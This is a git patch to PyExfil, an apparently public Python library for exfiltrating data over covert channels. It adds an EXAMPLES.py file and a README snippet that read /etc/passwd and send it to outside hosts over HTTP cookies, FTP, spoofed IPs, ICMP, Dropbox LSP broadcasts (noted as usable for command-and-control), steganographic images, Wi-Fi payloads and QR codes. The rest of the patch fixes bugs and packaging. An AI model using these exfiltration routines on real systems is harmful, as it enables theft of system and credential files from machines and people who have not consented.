From 03a91a49e617771589695604165ccfed10bc0956 Mon Sep 17 00:00:00 2001 From: tisf Date: Fri, 23 Mar 2018 23:40:59 +0700 Subject: [PATCH] fixes --- .gitignore | 5 ++ EXAMPLES.py | 85 +++++++++++++++++++ README.md | 31 +++++++ pyexfil/Stega/binoffset/binoffset.py | 1 + pyexfil/includes/prepare.py | 15 ++-- pyexfil/network/DB_LSP/dblsp.py | 3 +- pyexfil/network/FTP/ftp_exfil.py | 3 - .../network/HTTP_Cookies/http_exfiltration.py | 4 +- pyexfil/network/__init__.py | 0 pyexfil/physical/__init__.py | 0 pyexfil/physical/qr/generator.py | 6 +- pyexfil/physical/wifiPayload/__init__.py | 0 pyexfil/physical/wifiPayload/client.py | 2 +- requirements.txt | 3 + setup.py | 11 ++- 15 files changed, 151 insertions(+), 18 deletions(-) create mode 100644 EXAMPLES.py create mode 100644 pyexfil/network/__init__.py create mode 100644 pyexfil/physical/__init__.py create mode 100644 pyexfil/physical/wifiPayload/__init__.py diff --git a/.gitignore b/.gitignore index a0a4d30..5fe4220 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,8 @@ dev_zone/ .ropeproject/ .idea/ .git/ +PyExfil.egg-info/ +build/ +dist/ +__pycache__/ +*__pycache__/ diff --git a/EXAMPLES.py b/EXAMPLES.py new file mode 100644 index 0000000..76dd7ff --- /dev/null +++ b/EXAMPLES.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +import sys + + + +FILE_TO_EXFIL = "/etc/passwd" + + + + +""" NETWORK EXAMPLES """ + + +""" HTTP Cookies """ +# from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file +# +# send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL) + + +""" Source IP Based """ +# from pyexfil.network.FTP.ftp_exfil import FTPExfiltrator +# +# FTPexf = FTPExfiltrator(file2exfil=FILE_TO_EXFIL, server="8.8.8.8", port=21, creds=(), tls=False) +# FTPexf.get_file_chunks() +# FTPexf.build_final_chunks() +# FTPexf.send_chunks() + + +""" Source IP Based * """ +# from pyexfil.network.SpoofIP.spoofIPs_client import _send +# +# _send(file_path=FILE_TO_EXFIL, to="8.8.8.8") + + +""" DropBox LSP """ +# # Can also be used to CNC communication inside network. +# from pyexfil.network.DB_LSP.dblsp import DB_LSP +# +# dbLSP = DB_LSP( +# cnc='192.168.1.255', +# data=open(FILE_TO_EXFIL, 'rb').read(), +# key="Donnie!" +# ) +# dbLSP._Create() +# dbLSP.Send() + + +""" Exfiltration Over ICMP * """ +# from pyexfil.network.ICMP.icmp_exfiltration import send_file +# +# send_file( "8.8.8.8", +# src_ip_addr="127.0.0.1", +# file_path=FILE_TO_EXFIL, +# max_packetsize=512, +# SLEEP=0.1) + + +""" STEGANOGRAPHY EXAMPLES """ + +""" Binary offset in file """ +from pyexfil.Stega.binoffset.binoffset import CreateExfiltrationFile + +CreateExfiltrationFile( + originalImage='pyexfil/Stega/binoffset/image.png', + rawData=FILE_TO_EXFIL, + OutputImage="/tmp/new.png") + + + + +""" PHYSICAL EXAMPLES """ + + +""" Example for Wifi Payload """ +# from pyexfil.physical.wifiPayload.client import exfiltrate +# +# exfiltrate(FILE_TO_EXFIL) + +""" Example for QRCode Exfiltration """ +# from pyexfil.physical.qr.generator import CreateQRs, PlayQRs +# if CreateQRs(FILE_TO_EXFIL): +# PlayQRs() +# else: +# sys.stderr.write("Something went wrong with creating QRs.\n") diff --git a/README.md b/README.md index 0a8f7e1..03f08ba 100644 --- a/README.md +++ b/README.md @@ -338,6 +338,37 @@ DecodeExfiltrationFile(originalImage="base_"+originalImage, newImage="niceImage. ``` +## Developers' Documentation + +Please notice that although we have tried to keep this a collection of relatively separated stand alone modules so that converting them to static binaries for various operating systems would be as easy as possible, some things we have decided to turn into modules that would be shared across the board while attempting to keep is as depency free as possible. Such a component for now is `pyexfil/includes/prepare`. This module contains the methos of converting files (compressing, encrypting, encoding and splitting) into chunks ready to be sent or decoded. + +You can use it in the following way: + +```python +from pyexfil.includes.prepare import PrepFile, RebuildFile, DecodePacket + +proc = PrepFile('/etc/passwd', kind='binary') # will yield a dictionary + +# Send the data over +sock = socket.socket() +sock.connect(('google.com', 443)) +for i in proc['Packets']: + sock.send(i) +sock.close() + +# Rebuilding the data: +conjoint = [] +for packet in proc['Packets']: + b = DecodePacket(packet) + conjoint.append(b) + +# Verify and rebuild the file: +print RebuildFile(conjoint) + + +``` + + ## Future Stuff ### Version Alpha - [X] Check why HTTP Cookie exfiltration keeps failing CRC checks. (Fixed in patch #7 by Sheksa) diff --git a/pyexfil/Stega/binoffset/binoffset.py b/pyexfil/Stega/binoffset/binoffset.py index 83b803a..ae7f85a 100644 --- a/pyexfil/Stega/binoffset/binoffset.py +++ b/pyexfil/Stega/binoffset/binoffset.py @@ -144,6 +144,7 @@ def CreateExfiltrationFile(originalImage, rawData, OutputImage): im2 = Image.new(img.mode, (ImageWidth, ImageHeight)) im2.putdata(FinalPixels) + open(OutputImage, 'wb').write("\x00") # Touching file as PIL does an append... im2.save(OutputImage) sys.stdout.write("\t[+] New image saved at '%s'.\n\n" % OutputImage) diff --git a/pyexfil/includes/prepare.py b/pyexfil/includes/prepare.py index 3fddea5..f867037 100644 --- a/pyexfil/includes/prepare.py +++ b/pyexfil/includes/prepare.py @@ -40,7 +40,10 @@ def rc4(data, key): def _splitString(stri, length): """ - Split a string to specific blocked chunks + Split string by a particular length. + :param stri: String to split + :param length: Length to split by, int + :return: List """ def _f(s, n): while s: @@ -49,7 +52,7 @@ def _f(s, n): if type(length) is not int: sys.stderr.write("'length' parameter must be an int.\n") return False - if type(stri) is not str: + if type(stri) is not str and type(stri) is not bytes: sys.stderr.write("'stri' parameter must be an string.\n") return False return list(_f(stri, length)) @@ -79,7 +82,7 @@ def DecodePacket(packet_data, enc_key=DEFAULT_KEY, b64_flag=False): if encryption: try: data = rc4(data, enc_key) - except ValueError, e: + except ValueError as e: sys.stderr.write("Data does not decrypt using the key you've provided.\n") sys.stderr.write("%s\n" % e) return False @@ -141,7 +144,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key f = open(file_path, 'rb') data = f.read() f.close() - except IOError, e: + except IOError as e: sys.stderr.write("Error opening file '%s'.\n" % file_path ) return False @@ -202,7 +205,7 @@ def PrepFile(file_path, kind='binary', max_size=DEFAULT_MAX_PACKET_SIZE, enc_key # Every Packet i = 2 for chunk in packetsData: - thisPacket = seqID + delm + str(i) + delm + chunk + thisPacket = "%s%s%s%s%s" % (seqID, delm, str(i), delm, chunk) if enc_key != "": thisPacket = rc4(thisPacket, enc_key) if kind == 'ascii': @@ -285,7 +288,6 @@ def RebuildFile(packets_data): return ret - """ How to Use: @@ -318,6 +320,7 @@ def RebuildFile(packets_data): """ + if __name__ == "__main__": sys.stderr.write("Not a stand alone module.\n") sys.exit(1) diff --git a/pyexfil/network/DB_LSP/dblsp.py b/pyexfil/network/DB_LSP/dblsp.py index e0695c1..8515c33 100644 --- a/pyexfil/network/DB_LSP/dblsp.py +++ b/pyexfil/network/DB_LSP/dblsp.py @@ -82,8 +82,9 @@ def Send(self): s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) else: s.bind(('', self.port)) - except: + except socket.error, e: sys.stderr.write('Failed to create socket.\n') + sys.stderr.write('%s\n' % e) return False try: diff --git a/pyexfil/network/FTP/ftp_exfil.py b/pyexfil/network/FTP/ftp_exfil.py index cb8f716..db4e8ef 100644 --- a/pyexfil/network/FTP/ftp_exfil.py +++ b/pyexfil/network/FTP/ftp_exfil.py @@ -5,9 +5,6 @@ import zlib import time import base58 -import base64 -import socket -import hexdump from ftplib import FTP from ftplib import FTP_TLS diff --git a/pyexfil/network/HTTP_Cookies/http_exfiltration.py b/pyexfil/network/HTTP_Cookies/http_exfiltration.py index e79f870..31036a5 100755 --- a/pyexfil/network/HTTP_Cookies/http_exfiltration.py +++ b/pyexfil/network/HTTP_Cookies/http_exfiltration.py @@ -77,7 +77,7 @@ def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05): time.sleep(time_delay) except: sys.stderr.write("Unable to reach target with error:\n") - raise () + sys.exit(1) # Send data current_chunk = 0 @@ -219,4 +219,4 @@ def eth_addr(a): if __name__ == "__main__": - sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n") \ No newline at end of file + sys.stdout.write("This is meant to be a module for python and not a stand alone executable\n") diff --git a/pyexfil/network/__init__.py b/pyexfil/network/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pyexfil/physical/__init__.py b/pyexfil/physical/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pyexfil/physical/qr/generator.py b/pyexfil/physical/qr/generator.py index d5a894f..b3dabf9 100644 --- a/pyexfil/physical/qr/generator.py +++ b/pyexfil/physical/qr/generator.py @@ -4,7 +4,6 @@ import os import sys import zlib - import wand import time import qrcode import base64 @@ -15,12 +14,14 @@ sys.stdout.write("Error importing something. Try 'pip install --user -r requirements'.\n%s\n" % e) sys.exit(1) + # Globals DEFAULT_FOLDER = "pyexfil/physical/qr/outputs/" # where QR images will be saved MAXIMUM_QR_SIZE = 800 - 3 # in bytes -2 for index and 1 for delimiter DELIMITER = ";" DELAY = 3 + def split2len(s, n): def _f(s, n): while s: @@ -28,6 +29,7 @@ def _f(s, n): s = s[n:] return list(_f(s, n)) + def CreateQRs(filename, folder=DEFAULT_FOLDER): # Try opening the file for reading @@ -58,6 +60,7 @@ def CreateQRs(filename, folder=DEFAULT_FOLDER): sys.stdout.write("Saved a total of %s images.\n" % i) return True + def PlayQRs(folder=DEFAULT_FOLDER): all_pngs = [each for each in os.listdir(folder) if each.endswith('.png')] if len(all_pngs) == 0: @@ -72,6 +75,7 @@ def PlayQRs(folder=DEFAULT_FOLDER): sys.stdout.write("Finished playing images.\n") return True + if __name__ == "__main__": if CreateQRs('/etc/passwd'): sys.stdout.write("Will now start playing the QRs.\n") diff --git a/pyexfil/physical/wifiPayload/__init__.py b/pyexfil/physical/wifiPayload/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pyexfil/physical/wifiPayload/client.py b/pyexfil/physical/wifiPayload/client.py index a319f66..28a2532 100644 --- a/pyexfil/physical/wifiPayload/client.py +++ b/pyexfil/physical/wifiPayload/client.py @@ -120,7 +120,7 @@ def exfiltrate(file_name, key="shut_the_fuck_up_donnie!"): packet_cntr = len(chunksies) # Build and send initiallaztion packet - inital_packet = "%s%s%s%s" % ( packet_cntr, + inital_packet = "%s%s%s%s%s" % ( packet_cntr, DELIMITER, digest, DELIMITER, diff --git a/requirements.txt b/requirements.txt index 0a8ff47..8406e87 100644 --- a/requirements.txt +++ b/requirements.txt @@ -7,3 +7,6 @@ numpy PIL pytube PyCrypto +qrcode +base58 +ftplib diff --git a/setup.py b/setup.py index 31470d3..ca118b8 100755 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ __author__ = 'Yuval tisf Nativ' __license__ = 'GPLv3' -__copyright__ = '2016, Yuval tisf Nativ' +__copyright__ = '2018, Yuval tisf Nativ' import os @@ -13,7 +13,10 @@ from distutils.core import setup -required = ['requests>=1.0.0', 'impacket>=0.9.0', 'slackclient', 'progressbar', 'zlib', 'numpy', 'PIL', 'pytube', 'hashlib'] +required = ['requests>=1.0.0', 'impacket>=0.9.0', 'slackclient', 'progressbar', 'zlib', 'numpy', 'PIL', 'pytube', 'hashlib', + 'urllib2', 'PyCrypto', 'ftplib', 'base58'] + # Todo: Set that urllib2 is not installed from pip for Python3 + if __name__ == '__main__': if os.path.exists('MANIFEST'): @@ -27,14 +30,14 @@ description="""PyExfil: Python communication library over non-standard channels.""", license=__license__, url='https://www.github.com/ytisf/pyexfil', - version="0.0.1 Beta", + version="1.0 RC1", download_url='https://www.github.com/ytisf/pyexfil', long_description=long_desc, packages=['pyexfil'], install_requires=required, platforms='any', classifiers=( - 'Development Status :: 2 - Pre-Alpha', + 'Development Status :: 3 - Beta', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',